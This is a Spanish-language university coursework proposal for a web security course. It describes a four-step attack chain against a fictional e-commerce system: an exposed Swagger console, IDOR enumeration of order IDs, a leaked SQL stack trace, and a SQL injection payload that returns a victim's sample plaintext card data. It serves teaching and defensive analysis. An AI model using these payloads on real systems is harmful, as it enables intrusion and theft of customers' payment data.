UTN.BA
UNIVERSIDAD TECNOLÓGICA NACIONAL
FACULTAD REGIONAL BUENOS AIRES

Seguridad en Aplicaciones Web

Trabajo Práctico cuatrimestral

Propuesta

Grupo N°3

Integrantes	E-mail
Abril Vallecillo	avallecillo@frba.utn.edu.ar
Etienne Zimmerman	ezimmermangmez@frba.utn.edu.ar
Avril Dinora Martina Lopez	amartinalopez@frba.utn.edu.ar
Maria Isabella Innocente	minnocente@frba.utn.edu.ar

Profesores:

- Ing. Vilanova, Gonzalo
- Ing. Fuentes, Nicolás
- Novoa, Germán
- Berruto, Maximiliano

Propuesta de Trabajo Práctico: Seguridad en Aplicaciones Web

Contexto del Sistema

- **Plataforma:** Sistema web de logística y comercio electrónico (gestión de catálogo, carritos, pedidos y facturación).
- **Roles:**
  - `Cliente estándar`: Puede gestionar únicamente sus propios pedidos, carrito y datos de facturación.
  - `Administrador`: Supervisa operaciones y auditoría de compras.
- **Actores de la prueba:**
  - Atacante: Usuario registrado estándar (`nico`, `cliente_id=89`).
    - Sería un agente malicioso de la competencia que quiere acceder a los datos de los clientes del competidor para “robarlos”
  - Víctima: Cliente legítimo con métodos de pago guardados (`cliente_id=458`).

Cadena de Ataque en 4 Pasos



Paso 1: A02 – Security Misconfiguration

- **Acción:** El atacante analiza la aplicación web y descubre que el entorno productivo tiene expuesta sin autenticación la consola interactiva de documentación Swagger/OpenAPI en `/api/docs`.
- **Hallazgo:** Revisa la especificación del esquema de datos de la API y descubre la existencia de un endpoint legacy de reportes que no figura en la interfaz web pública: `GET /api/v1/pedidos/{pedido_id}/comprobante`.
- **Dato obtenido para el siguiente paso:** La ruta y formato exacto del endpoint `/api/v1/pedidos/{pedido_id}/comprobante`.

Paso 2: A01 – Broken Access Control (IDOR)

- **Acción:** El atacante utiliza el endpoint descubierto con el ID de un pedido propio (`pedido_id=105`) y luego prueba números correlativos menores hacia atrás mediante peticiones GET directas.
- **Hallazgo:** El endpoint carece de validación de propiedad (autorización horizontal). Al consultar `GET/api/v1/pedidos/104/comprobante`, el servidor responde:
- JSON

```
{
  "pedido_id": 104,
  "fecha": "2026-09-10",
  "cliente_id": 458,
  "factura_referencia": "FAC-2026-00458",
  "total": 125000.00
}
```

- **Dato obtenido para el siguiente paso:** Identificador de la víctima (`cliente_id=458`) y su comprobante asociado (`FAC-2026-00458`).

Paso 3: A10 – Mishandling of Exceptional Conditions

- **Acción:** El atacante utiliza el identificador de factura legítimo obtenido en el Paso 2 (FAC-2026-00458) para consultar el endpoint GET/api/v1/facturas/ver?ref=FAC-2026-00458. El backend aplica una validación previa de formato estricto (por ejemplo, mediante la expresión regular ^FAC-\d{4}-\d{5}): si el parámetro no comienza con ese patrón exacto, el servidor responde con un error 400 Bad Request y no interactúa con la base de datos. Al conocer la estructura real de las facturas, el atacante envía un payload que respeta el formato exigido al inicio pero concatena un carácter de control al final para forzar un fallo en el motor SQL:
- HTTP:

  GET /api/v1/facturas/ver?ref=FAC-2026-00458'

- **Hallazgo:** La solicitud supera el filtro de formato de la aplicación, pero la base de datos falla al procesar la comilla no parametrizada. Debido a una ausencia de manejo seguro de excepciones (falla de abstracción de errores hacia el usuario), el servidor responde con un estado 500 Internal Server Error exponiendo el *stack trace* completo del driver de base de datos sin filtrar:

  Internal Server Error: psycopg2.errors.SyntaxError: syntax error at or near "'"

  LINE 1: SELECT id, cliente_id, fecha, total, detalle_items, datos_pago FROM transacciones WHERE ref = 'FAC-2026-00458''

- **Dato obtenido para el siguiente paso:** Confirmación de la inyección SQL en el parámetro ref, nombre de la tabla interna (transacciones), cantidad de columnas (6) y nombres de los campos (id, cliente_id, fecha, total, detalle_items, datos_pago).

Paso 4: A05 – Injection (SQL Injection) & A04 – Cryptographic Failures

- **Acción:** El atacante construye un payload que inicia con la referencia legítima obtenida en el Paso 2 (FAC-2026-00458) para sortear el filtro de formato de la aplicación. A continuación, concatena la inyección aprovechando la falta de parametrización confirmada en el Paso 3 para manipular la cláusula WHERE mediante una condición lógica OR, forzando la consulta de la transacción de la víctima (cliente_id=458) y comentando el resto de la sintaxis SQL original:

- HTTP

  GET /api/v1/facturas/ver?ref=FAC-2026-00458' OR cliente_id=458–

- La consulta final interpretada por el motor de base de datos resulta en:
- SQL

  SELECT id, cliente_id, fecha, total, detalle_items, datos_pago FROM transacciones WHERE ref = 'FAC-2026-00458' OR cliente_id=458--;

- **Hallazgo:** La inyección se ejecuta de manera exitosa y el backend responde con un código de estado 200 OK. Dado que la condición lógica OR cliente_id=458 evalúa como verdadera para múltiples filas de la tabla transacciones, el endpoint (originalmente diseñado para retornar una única factura específica) devuelve una lista con el historial comercial y financiero completo de la víctima. La respuesta devuelve el historial comercial íntegro del cliente, desglosando los productos comprados, cantidades, precios unitarios y la persistencia en texto plano de las tarjetas bancarias (A04:2025 – Cryptographic Failures):

- JSON


```
[
  {
    "id": 88,
    "fecha": "2026-07-15",
    "cliente_id": 458,
    "total": 450000.00,
    "detalle_items": [
      { "producto": "Pallet Cajas Cartón Reforzado 40x40", "cantidad": 5,
"precio_unitario": 60000.00 },
      { "producto": "Film Stretch Industrial 500mm", "cantidad": 15,
"precio_unitario": 10000.00 }
    ],
    "datos_pago": "PAN: 4509-8812-3456-8921 | VENC: 11/28 | CVV: 732 |
TITULAR: CARLOS LOPEZ"
  },
  {
    "id": 95,
```

```
    "fecha": "2026-08-12",
    "cliente_id": 458,
    "total": 310000.00,
    "detalle_items": [
      { "producto": "Cinta de Embalaje Transparente x 48mm", "cantidad": 50,
"precio_unitario": 3200.00 },
      { "producto": "Dispensador de Cinta Manual Reforzado", "cantidad": 10,
"precio_unitario": 15000.00 }
    ],
    "datos_pago": "PAN: 4509-8812-3456-8921 | VENC: 11/28 | CVV: 732 |
TITULAR: CARLOS LOPEZ"
  },
  {
    "id": 104,
    "fecha": "2026-09-10",
    "cliente_id": 458,
    "total": 125000.00,
    "detalle_items": [
      { "producto": "Precintos de Seguridad Plásticos Numerados x 1000",
"cantidad": 1, "precio_unitario": 125000.00 }
    ],
    "datos_pago": "PAN: 4509-8812-3456-8921 | VENC: 11/28 | CVV: 732 |
TITULAR: CARLOS LOPEZ"
  }
]
```


- **Resultado final:** El atacante no solo consigue exfiltrar los datos bancarios y de tarjeta de crédito de la víctima sin privilegios administrativos, sino que obtiene el historial transaccional y operativo detallado del cliente (qué insumos consume, a qué precios los compra habitualmente y con qué frecuencia). Esta fuga de información otorga al atacante inteligencia comercial estratégica sobre el volumen de negocio y recurrencia de compras del cliente para diseñar estrategias de captación desleal o extorsión, además del perjuicio financiero directo asociado a la exposición de los métodos de pago en texto plano.